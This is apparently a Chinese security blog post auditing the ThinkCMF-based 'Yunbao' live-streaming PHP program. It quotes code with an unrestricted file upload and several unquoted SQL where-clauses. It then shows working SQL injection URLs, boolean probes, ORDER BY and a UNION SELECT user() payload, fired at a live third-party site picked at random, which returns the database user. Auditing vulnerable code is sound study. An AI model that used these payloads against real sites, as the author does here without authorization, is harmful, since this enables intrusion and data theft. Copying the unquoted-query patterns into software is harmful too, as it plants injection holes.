专注于 WEB 安全研究,勇于探索未知,打破已知,刷新认知。

作者:阿皮

前言

这类程序被大量用于搭建色情网站,色情 APP。在此,对此类众多程序中的“云豹”进行代码审计,仅作学习研究。

正文

先来看一下网站程序结构

image-20220610174434263

接下来我们分析一下网站结构,这里打开 index.php 进行查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
/*** 入口文件 * Some rights reserved:www.thinkcmf.com */
if (ini_get('magic_quotes_gpc')) {
function stripslashesRecursive(array $array) {
foreach ($array as $k => $v) {
if (is_string($v)) {
$array[$k] = stripslashes($v);
} else if (is_array($v)) {
$array[$k] = stripslashesRecursive($v);
}
}
return $array;
}
//$_COOKIE $_ENV $_SERVER $_SESSION $_FILES
$_GET = stripslashesRecursive($_GET);
$_POST = stripslashesRecursive($_POST);
}
//开启调试模式
define("APP_DEBUG", 0);
//网站当前路径
define('SITE_PATH', dirname(__FILE__) . "/");
//项目路径,不可更改
define('APP_PATH', SITE_PATH . 'application/');
//项目相对路径,不可更改
define('SPAPP_PATH', SITE_PATH . 'simplewind/');
//
define('SPAPP', './application/');
//项目资源目录,不可更改
define('SPSTATIC', SITE_PATH . 'statics/');
//定义缓存存放路径
define("RUNTIME_PATH", SITE_PATH . "data/runtime/");
//静态缓存目录
define("HTML_PATH", SITE_PATH . "data/runtime/Html/");
//版本号
define("SIMPLEWIND_CMF_VERSION", 'X2.1.0');
define("THINKCMF_CORE_TAGLIBS", 'cx,Common\Lib\Taglib\TagLibSpadmin,Com mon\Lib\Taglib\TagLibHome'); //uc client root
define("UC_CLIENT_ROOT", './api/uc_client/');
if (file_exists(UC_CLIENT_ROOT . "config.inc.php")) {
include UC_CLIENT_ROOT . "config.inc.php";
}
//载入框架核心文件
require SPAPP_PATH . 'Core/ThinkPHP.php';

看到这里,首先在 index.php 主文件 我们可以看出来是基于 ThinkPHP 的 ThinkCMF 开发的,且有全局过滤。过滤函数为 stripslashesRecursive 对 GET 跟 POST 进行了过滤。

我们去看一下有什么模块 什么控制器

image-20220610175121451

在 application 文件夹中可以看到分别有这么几个模块,接下来我们就对其 中的控制器进行漏洞挖掘。

我们先瞄一眼,不深入挖掘,把可能有问题的地方保存下来,稍后在做测试。

1.可能产生上传漏洞 由于 exts 被人为注释

文件位置 application\Home\Controller\PersonalController.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/** 个人中心-我的认证-身份证上传 
$info 判断上传状态
**/
function upload() {
$saveName=I('saveName')."_".time();
$config=array( 'replace' => true,
'rootPath' => './'.C("UPLOADPATH"),
'savePath' => '/rz/',
'maxSize' => 0,//500K
'saveName' => $saveName,
//'exts' => array('jpg', 'png', 'jpeg'),
'autoSub' => false, );
$upload = new \Think\Upload($config);
//
$info=$upload->upload();
//开始上传
if ($info) {
//上传成功
//写入附件数据库信息
$first=array_shift($info);
if(!empty($first['url'])) {
$url=$first['url'];
} else {
$url=C("TMPL_PARSE_STRING.__UPLOAD__").'rz/'.$first['sa vename'];
}
echo json_encode(array("ret"=>200,'data'=>array("url"=>$url) ,'msg'=>$saveName));
//$this->ajaxReturn(sp_ajax_return(array("file"=>$file),"上 传成功!",1),"AJAX_UPLOAD");
} else {
//上传失败,返回错误
//$this->ajaxReturn(sp_ajax_return(array(),$upload->getErro r(),0),"AJAX_UPLOAD");
echo json_encode(array("ret"=>0,'file'=>'','msg'=>$up load->getError()));
}
exit;
}

2.可能产生 SQL 注入 由于未使用单引号保护

文件位置 application\Home\Controller\PersonalController.class.php

1
2
3
4
5
6
7
8
9
10
11
12
/** 个人中心-我关注的-取消关注 **/
public function follow_dal() {
$live=M("users_attention");
$touid=$_GET['followID'];
$uid=session("uid");
$del_follow=$live->where("touid=$touid and uid=$uid")->delete() ;
if($del_follow!==false) {
echo '{"state":"0","msg":"取消关注"}';
} else {
echo '{"state":"1","msg":"取消失败"}';
}
}

\3. 可能产生 SQL 注入 由于未使用单引号保护

文件位置 application\Home\Controller\PersonalController.class.php

1
2
3
4
5
6
7
8
9
10
11
12
public function follow_add() {
$touid=$_GET['touid'];
$uid=session("uid");
$data=array( "uid"=>$uid, "touid"=>$touid );
$result=M("users_attention")->add($data);
if($result!==false) {
M('users_black')->where("touid=$touid and uid=$uid")->delet e();
echo '{"state":"0","msg":"关注成功"}';
} else {
echo '{"state":"1","msg":"关注失败"}';
}
}

\4. 可能产生 SQL 注入 由于未使用单引号保护

文件位置 application\Home\Controller\PersonalController.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/*删除黑名单*/
public function list_del() {
$uid=session("uid");
$touid=$_GET['touid'];
$isBlack=isBlack($uid,$touid);
if($isBlack==0) {
echo '{"state":"1000","msg":"该用户不在你的黑名单内"}';
exit;
} else {
$attention=M('users_black')->where("touid=$touid and uid=$u id")->delete();
if($attention) {
echo '{"state":"0","msg":"移除成功"}';
exit;
} else {
echo '{"state":"1001","msg":"移除失败"}';
exit;
}
}
}

\5. 可能产生 SQL 注入 未使用单引号保护

文件位置 application\Home\Controller\PersonalController.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*拉黑操作 如果我已经关注这个主播 同时会删除关注状态但是不会清除粉丝*/
public function blacklist() {
$uid=session("uid");
$touid=I("touid");
$isBlack=isBlack($uid,$touid);
if($isBlack==1) {
echo '{"state":"1000","msg":"你已经将该用户拉黑"}';
exit;
} else {
$isAttention=isAttention($uid,$touid);
if($isAttention) {
M('users_attention')->where("touid=$touid and uid=$uid") ->delete();
}
$data=array( "uid"=>session("uid"), "touid"=>$touid );
$result=M('users_black')->add($data);
if($result) {
echo '{"state":"0","msg":"拉黑成功"}';
exit;
} else {
echo '{"state":"1001","msg":"拉黑失败"}';
exit;
}
}
}

\6. 可能产生 SQL 注入 未使用单引号保护

文件位置 application\Home\Controller\PersonalController.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/** 个人中心-管理员管理中心-取消管理员 
users_livemanager 管理员记录表
**/
function admin_del() {
$uid=session("uid");
$touid=$_GET['touid'];
if($touid) {
$rst = M("users_livemanager")->where("uid=".$touid." and liveui d=".$uid)->delete();
if ($rst) {
echo '{"state":"0","msg":"管理取消成功"}';
exit;
} else {
echo '{"state":"1000","msg":"管理取消失败"}';
exit;
}
} else {
echo '{"state":"1001","msg":"数据传入失败"}';
exit;
}
}

\7. 可能产生 SQL 注入 未使用单引号保护

文件位置 application\Home\Controller\PlaybackController.class.php

1
2
3
4
5
6
7
8
9
10
public function index() {
$touid=I('touid');
$liverecord=M("users_liverecord")->where("uid=".$touid)->select ();
foreach($liverecord as $k=>$v) {
$time=$liverecord['endtime']-$liverecord['starttime'];
$liverecord[$k]['time']=getSeconds($time,1);
}
$this->assign("liverecord",$liverecord);
$this->display();
}

注入太多了,此处就不一一罗列了

复现漏洞

回顾刚才可能产生的漏洞点,由于随便找了个存活的站点,一些漏洞处可能被站长更改过,所以这里就挑存在的地方。疑似 SQL 注入第 7 处,开始分析。

访问 /index.php?g=Home&m=Playback&a=index&touid=1%20or%201%20like%201

返回正常

image-20220610180855721

访问 /index.php?g=Home&m=Playback&a=index&touid=1%20or%201%20like%202

返回失败

image-20220610180921156

继续常规 SQL 注入测试

/index.php?g=Home&m=Playback&a=index&touid=1%20xor%201=1)%20%20 order%20by%2018--+ order by 18

image-20220610181004431

通过联合查询查出内容

index.php?g=Home&m=Playback&a=index&touid=1%20xor%201=1)%20union%20select%20user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+ play_livenew@localhost

image-20220610181046522

其他点都差不多,也就不再赘述了。